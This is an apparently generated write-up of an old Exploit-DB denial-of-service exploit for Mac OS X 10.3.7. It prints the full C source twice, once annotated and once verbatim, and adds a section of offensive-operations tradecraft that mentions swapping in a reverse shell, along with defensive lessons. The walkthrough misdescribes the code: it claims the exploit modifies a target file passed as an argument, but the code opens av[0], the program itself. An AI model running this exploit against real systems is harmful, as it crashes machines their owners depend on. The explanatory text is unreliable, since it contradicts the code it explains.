Exploiting a Mach-O Header Vulnerability in Older macOS Versions for Denial of Service

Exploiting a Mach-O Header Vulnerability in Older macOS Versions for Denial of Service
What this paper is
This paper details a Denial of Service (DoS) vulnerability found in older versions of Apple's macOS (specifically Darwin Kernel versions prior to 7.5.0, which corresponds to Mac OSX 10.3.7). The vulnerability lies within the parse_machfile() function, which is responsible for parsing Mach-O executable files. By manipulating a specific field in the Mach-O header, an attacker can cause the system to crash when it attempts to load the modified executable. The provided exploit code demonstrates how to achieve this by directly modifying an executable file.
Simple technical breakdown
The core of the vulnerability is how the operating system parses the header of a Mach-O executable file. This header contains important information about the file, including the number of load commands (ncmds). The parse_machfile() function, when processing this header, expects a certain format and range of values.
The exploit works by:
- Targeting an executable: The exploit takes the path to a Mach-O executable as an argument.
- Modifying the header: It opens this executable in read-write mode.
- Seeking to a specific offset: It then seeks to a precise location within the file (offset
0x10, which is the start of thencmdsfield in the Mach-O header). - Overwriting
ncmds: It overwrites the original value ofncmdswith a very large, invalid value (0xffffffff). - Re-executing: Finally, it attempts to execute the modified file. When the system tries to load this malformed executable, the
parse_machfile()function encounters the invalidncmdsvalue, leading to a crash (Denial of Service).
Complete code and payload walkthrough
The provided C code is a self-contained exploit that directly modifies a target executable.
/*
* DoS for Darwin Kernel Version < 7.5.0
* -(nemo pulltheplug org)-
* 2005
*
* greetz to awnex, cryp, nt, andrewg, arc, mercy, amnesia ;)
* irc.pulltheplug.org (#social)
*/
#include <stdio.h> // Standard input/output functions
int main( int ac, char * * av ) // Main function, 'ac' is argument count, 'av' is argument vector (array of strings)
{
FILE * me; // File pointer to the target executable
int rpl = 0xffffffff; // The value to overwrite 'ncmds' with (a large, invalid number)
fpos_t pos = 0x10; // The file position to seek to (offset 0x10, where 'ncmds' resides)
printf( "-( nacho - 2004 DoS for OSX (darwin < 7.5.0 )-\n" ); // Informational message
printf( "-( nemo pulltheplug org )-\n\n" ); // Informational message
printf( "[+] Opening file for writing.\n" ); // Status message
if ( !( me = fopen( * av, "r+" ) ) ) // Open the file specified by the first argument (*av) in read-write mode ("r+")
{
printf( "[-] Error opening exe.\n" ); // Error message if fopen fails
exit( 1 ); // Exit with an error code
}
printf( "[+] Seeking to ncmds.\n" ); // Status message
if ( ( fsetpos( me, & pos ) ) == -1 ) // Set the file position to the value in 'pos' (0x10)
{
printf( "[-] Error seeking to ncmds.\n" ); // Error message if fsetpos fails
exit( 1 ); // Exit with an error code
}
printf( "[+] Changing ncmds to 0x%x.\n", rpl ); // Status message, showing the value being written
if ( fwrite( & rpl, 4, 1, me ) < 1 ) // Write 4 bytes (sizeof(int)) from the address of 'rpl' to the file 'me', 1 time.
{
printf( "[-] Error writing to file.\n" ); // Error message if fwrite fails
exit( 1 ); // Exit with an error code
}
fclose( me ); // Close the file
printf( "[+] Re-executing with modified mach-o header.\n" ); // Status message
sleep( 5 ); // Pause for 5 seconds, allowing the user to observe or react, or perhaps for the system to settle.
if ( execv( * av, av ) == -1 ) // Attempt to execute the modified file (*av) with its own arguments (av)
{
printf( "[-] Error executing %s, please run manually.\n", * av ); // Error message if execv fails
exit( 1 ); // Exit with an error code
}
exit( 0 ); // hrm - This line is technically unreachable if execv succeeds, as execv replaces the current process. If it fails, the previous exit(1) would have been hit. The "hrm" comment suggests the author was aware of this.
}
// milw0rm.com [2005-01-20]Code Fragment/Block -> Practical Purpose Mapping:
#include <stdio.h>: Includes standard input/output library for functions likeprintf,fopen,fclose,fsetpos,fwrite,exit.int main( int ac, char * * av ): The entry point of the program.av[0]will be the name of the executable itself, andav[1]will be the first argument passed to it (the target file).FILE * me;: Declares a file pointer variable namedme. This will be used to interact with the target executable file.int rpl = 0xffffffff;: Declares an integer variablerpland initializes it with the hexadecimal value0xffffffff. This is a 32-bit integer with all bits set to 1. In the context of the Mach-O header, this value is far too large for thencmdsfield, causing the parsing to fail.fpos_t pos = 0x10;: Declares a variableposof typefpos_t(which is designed to store file positioning information) and initializes it to0x10. This hexadecimal value represents the byte offset from the beginning of the file where thencmdsfield is located in a Mach-O header.printf( "-( nacho - 2004 DoS for OSX (darwin < 7.5.0 )-\n" );andprintf( "-( nemo pulltheplug org )-\n\n" );: These lines print identifying information about the exploit and its author.printf( "[+] Opening file for writing.\n" );: Informs the user that the exploit is about to open the target file.if ( !( me = fopen( * av, "r+" ) ) ): This is a crucial step.fopen(*av, "r+")attempts to open the file specified by the first command-line argument (*av, which isav[0]) in "read and write" mode. If the file cannot be opened (e.g., it doesn't exist, or permissions are denied),fopenreturnsNULL, and the!operator makes the condition true.printf( "[-] Error opening exe.\n" ); exit( 1 );: Iffopenfails, an error message is printed, and the program exits with a non-zero status code, indicating an error.printf( "[+] Seeking to ncmds.\n" );: Informs the user that the exploit is moving to the specific location in the file.if ( ( fsetpos( me, & pos ) ) == -1 ):fsetposattempts to set the file position indicator for the streammeto the position specified bypos. The0x10offset is where thencmdsfield is located in the Mach-O header. Iffsetposfails (returns -1), it indicates an issue with seeking.printf( "[-] Error seeking to ncmds.\n" ); exit( 1 );: Iffsetposfails, an error message is printed, and the program exits.printf( "[+] Changing ncmds to 0x%x.\n", rpl );: Shows the user the value that will be written to thencmdsfield.if ( fwrite( & rpl, 4, 1, me ) < 1 ):fwritewrites data to the file stream.&rpl: The address of therplvariable (the value0xffffffff).4: The size of each item to be written, in bytes (sincerplis anint, typically 4 bytes).1: The number of items to write.me: The file stream to write to.- The condition
fwrite(...) < 1checks if fewer than 1 item was successfully written. If so, it indicates a write error.
printf( "[-] Error writing to file.\n" ); exit( 1 );: Iffwritefails, an error message is printed, and the program exits.fclose( me );: Closes the file stream, ensuring all buffered data is flushed and resources are released.printf( "[+] Re-executing with modified mach-o header.\n" );: Informs the user that the exploit is about to attempt to run the modified executable.sleep( 5 );: Pauses execution for 5 seconds. This is likely to give the user a moment to see the output before the potentially crashingexecvcall.if ( execv( * av, av ) == -1 ):execvis a system call that replaces the current process image with a new process image.*av: The path to the executable to be executed (the same file that was just modified).av: An array of strings representing the arguments to the new process. The first element (av[0]) is conventionally the name of the program being executed.- If
execvfails (returns -1), it means the new process could not be started.
printf( "[-] Error executing %s, please run manually.\n", * av ); exit( 1 );: Ifexecvfails, an error message is printed, and the program exits. This might happen if the modified file is no longer executable or if there are other system-level issues.exit( 0 ); // hrm: This line is intended to be executed ifexecvsucceeds. However,execvreplaces the current process. If it succeeds, the program execution jumps to the new process, and thisexit(0)is never reached. The comment "hrm" suggests the author acknowledged this.
Practical details for offensive operations teams
- Required Access Level: This exploit requires the ability to write to a target executable file on the filesystem. This typically means the attacker needs at least user-level read/write permissions on the target file. It does not require root privileges to modify an arbitrary executable, but it does require the ability to execute the exploit binary itself.
- Lab Preconditions:
- A vulnerable macOS system (Darwin Kernel < 7.5.0, e.g., Mac OSX 10.3.7).
- A Mach-O executable file on the target system that can be modified. Standard system executables are often protected or have integrity checks, so targeting a user-downloaded or custom-compiled executable might be more feasible.
- The exploit binary compiled for the target architecture.
- Tooling Assumptions:
- A C compiler (like GCC) on the attacker's machine or the target system to compile the exploit.
- Standard file manipulation utilities (
fopen,fsetpos,fwrite,execv). - The exploit code itself.
- Execution Pitfalls:
- File Permissions: The exploit will fail if it cannot open the target executable for writing.
- File Integrity: Modern operating systems have file integrity checks (e.g., code signing, SIP) that might prevent modification or execution of tampered binaries. This exploit is from 2005 and targets older systems.
- Architecture Mismatch: The exploit binary must be compiled for the correct CPU architecture of the target system.
- Target Selection: The exploit needs a valid Mach-O executable as an argument. Providing a non-executable file or a file in an incorrect format will lead to errors.
execvFailure: Ifexecvfails, the exploit will print an error and exit, but the target file will remain modified. The user might then try to run the modified file manually, leading to the DoS.- System Stability: While the goal is DoS, the crash might be unpredictable, potentially leading to data loss or system instability beyond a simple reboot.
- Tradecraft Considerations:
- Persistence: This exploit is not persistent. It modifies a file and then attempts to execute it. To maintain access or achieve further compromise, additional steps would be needed.
- Stealth: Modifying an existing executable can be detected through file integrity monitoring. The exploit itself is a simple C program, which might be flagged by antivirus if known.
- Payload Delivery: The exploit code itself is the payload. It's designed to cause a crash. For a more advanced attack, the
execvcall could be replaced with code that spawns a reverse shell or downloads a more sophisticated payload, but that would require significant modification and a different vulnerability.
Where this was used and when
This exploit targets a vulnerability in Mac OSX 10.3.7 and earlier versions of Darwin. The paper was published in January 2005. Therefore, it was likely used in the period immediately following its publication, by researchers or malicious actors testing the security of these specific macOS versions. Given its age and the nature of the vulnerability (a direct file modification leading to a crash), it's unlikely to be effective against modern, patched operating systems. Its primary use would have been for proof-of-concept demonstrations or early-stage exploitation of vulnerable systems in 2005.
Defensive lessons for modern teams
- Input Validation is Paramount: The root cause is the failure of
parse_machfile()to properly validate thencmdsfield. Always validate all external inputs, especially when parsing file formats or network protocols. Ensure that values fall within expected ranges and formats. - Robust Parsing Libraries: Rely on well-tested and maintained libraries for parsing complex file formats like executables. These libraries often have built-in checks for malformed data.
- File Integrity Monitoring (FIM): Implement FIM solutions to detect unauthorized modifications to critical system files and executables. This could have alerted administrators to the tampering of the Mach-O header.
- Least Privilege: Ensure that processes and users only have the necessary permissions. If a process doesn't need to write to executables, it shouldn't have that capability.
- Patch Management: The most effective defense is to keep systems updated. This vulnerability was patched in later versions of macOS. Regular patching closes known security holes.
- Sandboxing and Containerization: Running applications in sandboxed environments or containers can limit the impact of an exploit that modifies files, as the scope of modification is restricted.
ASCII visual (if applicable)
This exploit directly modifies a file on disk and then attempts to execute it. A simple flow diagram can illustrate this:
+-------------------+ +-------------------+ +-------------------+
| Attacker's Exploit| ----> | Target Executable | ----> | OS Kernel (Crash) |
| (e.g., C program) | | (Mach-O File) | | |
+-------------------+ +-------------------+ +-------------------+
| ^
| 1. Opens file | 3. Tries to load/execute
| for write | modified header
| 2. Modifies 'ncmds' field |
| to 0xffffffff |
+---------------------------+Explanation:
- The attacker's exploit program is executed.
- It opens the target executable file (
Target Executable) in read-write mode. - It seeks to the
ncmdsfield within the Mach-O header and overwrites it with0xffffffff. - The exploit then attempts to execute the now-modified
Target Executableusingexecv. - When the
OS Kernelattempts to load and parse the modified executable's header, the invalidncmdsvalue causesparse_machfile()to fail, leading to a system crash (Denial of Service).
Source references
- PAPER ID: 762
- PAPER TITLE: Apple Mac OSX 10.3.7 - Input Validation Flaw 'parse_machfile()' Denial of Service
- AUTHOR: nemo
- PUBLISHED: 2005-01-20
- PAPER URL: https://www.exploit-db.com/papers/762
- RAW URL: https://www.exploit-db.com/raw/762
Original Exploit-DB Content (Verbatim)
/*
* DoS for Darwin Kernel Version < 7.5.0
* -(nemo pulltheplug org)-
* 2005
*
* greetz to awnex, cryp, nt, andrewg, arc, mercy, amnesia ;)
* irc.pulltheplug.org (#social)
*/
#include <stdio.h>
int main( int ac, char * * av )
{
FILE * me;
int rpl = 0xffffffff;
fpos_t pos = 0x10;
printf( "-( nacho - 2004 DoS for OSX (darwin < 7.5.0 )-\n" );
printf( "-( nemo pulltheplug org )-\n\n" );
printf( "[+] Opening file for writing.\n" );
if ( !( me = fopen( * av, "r+" ) ) )
{
printf( "[-] Error opening exe.\n" );
exit( 1 );
}
printf( "[+] Seeking to ncmds.\n" );
if ( ( fsetpos( me, & pos ) ) == -1 )
{
printf( "[-] Error seeking to ncmds.\n" );
exit( 1 );
}
printf( "[+] Changing ncmds to 0x%x.\n", rpl );
if ( fwrite( & rpl, 4, 1, me ) < 1 )
{
printf( "[-] Error writing to file.\n" );
exit( 1 );
}
fclose( me );
printf( "[+] Re-executing with modified mach-o header.\n" );
sleep( 5 );
if ( execv( * av, av ) == -1 )
{
printf( "[-] Error executing %s, please run manually.\n", * av );
exit( 1 );
}
exit( 0 ); // hrm
}
// milw0rm.com [2005-01-20]